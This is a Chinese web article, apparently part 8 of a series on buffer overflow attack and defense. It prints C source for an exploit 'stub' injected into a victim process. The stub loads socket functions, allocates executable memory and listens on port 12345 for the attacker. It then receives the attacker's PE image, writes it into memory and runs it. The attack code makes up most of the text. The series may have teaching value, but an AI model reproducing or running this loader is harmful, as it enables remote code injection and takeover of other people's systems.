破坏力依然不可小视 缓冲区溢出攻防
2006-11-07 20:09:59 来源:WEB开发网核心提示: 在STUB中,我给了第一个填充数组18字节的空间,破坏力依然不可小视 缓冲区溢出攻防(8),多出来的两字节用来存储UNC字符串中打头的“”,本例中这并不是必须的,而dwImageSize也就是这个映像的大小,之后它开始在12345端口上侦听,而arrStubCode
在STUB中,我给了第一个填充数组18字节的空间,多出来的两字节用来存储UNC字符串中打头的“”,本例中这并不是必须的。而arrStubCode虽然看上去只有一字节长,却是一个变长数组,保存的是结构图中的stubcode和填充数据3。
下面我们就进入stub的最后一部分,也是最重要的一部分:stubcode,代码如下。
void WINAPI StubCode(STUBPARAM* psp)
{
HINSTANCE hWs2_32=psp->fnLoadLibrary(psp->szWs2_32);
FxGetProcAddr fnGetProcAddr = psp->fnGetProcAddr;
Fxsocket fnsocket = (Fxsocket)fnGetProcAddr(hWs2_32,psp->szSocket);
Fxbind fnbind = (Fxbind)fnGetProcAddr(hWs2_32,psp->szBind);
Fxlisten fnlisten = (Fxlisten)fnGetProcAddr(hWs2_32,psp->szListen);
Fxaccept fnaccept = (Fxaccept)fnGetProcAddr(hWs2_32,psp->szAccept);
Fxsend fnsend = (Fxsend)fnGetProcAddr(hWs2_32,psp->szSend);
Fxrecv fnrecv = (Fxrecv)fnGetProcAddr(hWs2_32,psp->szRecv);
BYTE* buf= (BYTE*)psp->fnVirtualAlloc(NULL,psp->dwImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SOCKET sckListen = fnsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in saServer;
saServer.sin_family = AF_INET;
saServer.sin_port = 0x3930; //htons(12345)
saServer.sin_addr.s_addr = ADDR_ANY;
fnbind(sckListen, (sockaddr *)&saServer, sizeof(saServer));
fnlisten(sckListen, 2);
SOCKET sckClient = fnaccept(sckListen, NULL, 0);
fnsend(sckClient, (const char*)(&buf), 4, 0);
DWORD dwBytesRecv = 0;
BYTE* pos = buf;
while(dwBytesRecv dwImageSize)
{
dwBytesRecv += fnrecv(sckClient, (char*)pos, 1024, 0);
pos = buf + dwBytesRecv;
}
FxAttackerEntry fnAttackerEntry = (FxAttackerEntry)(buf +psp->rvaAttackerEntry);
fnAttackerEntry(buf, psp->fnLoadLibrary,psp->fnGetProcAddr);
}
void StubCodeEnd(){} //this function marks the end of stubcode
stubcode先用LoadLibrary得到ws2_32.dll的句柄,然后通过GetProcAddress获得几个API函数的入口地址。接着它用VirtualAlloc分配了dwImageSize大小的内存,这块内存有什么用呢?原来,同《进程隐藏》一样,我们要向victim进程中注入另一个PE文件——其实就是attacker自己——的映像,所以,这块内存就是保存映像的空间,而dwImageSize也就是这个映像的大小。之后它开始在12345端口上侦听,直到接到attacker连接请求。
更多精彩
赞助商链接